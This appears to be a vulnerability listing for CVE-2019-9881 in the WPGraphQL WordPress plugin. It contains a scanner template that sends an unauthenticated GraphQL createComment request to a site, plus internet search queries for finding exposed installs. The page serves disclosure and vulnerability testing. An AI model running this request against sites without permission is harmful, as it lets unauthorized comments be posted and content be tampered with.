CVE-2019-9881: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting

2025-08-01 WPEngine WPGraphQL PoC Public

Description

The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.

PoC

id: CVE-2019-9881

info:
  name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
  author: intelligent-ears
  severity: medium
  description: |
    The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
  impact: |
    An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.
  remediation: |
    Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9881
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
    - https://wpvulndb.com/vulnerabilities/9282
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-9881
    cwe-id: CWE-306
    epss-score: 0.18832
    epss-percentile: 0.97136
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    shodan-query: http.title:"WordPress" "graphql"
    fofa-query: body="/wp-content/plugins/wp-graphql/"
    publicwww-query: "/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln

variables:
  string: "{{randstr}}"
  client: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"{{string}}\", clientMutationId: \"{{client}}\" }) { clientMutationId } }"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}')
        condition: and
# digest: 490a0046304402200f665d48ea06a8386d5cb2e904859bc6cbbd805ea487a19511b64f32094b58c2022055bb537a12f4a55bdcb65bc1c7841d26b58c0787d9b4619e50d91f9d3820ab2f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities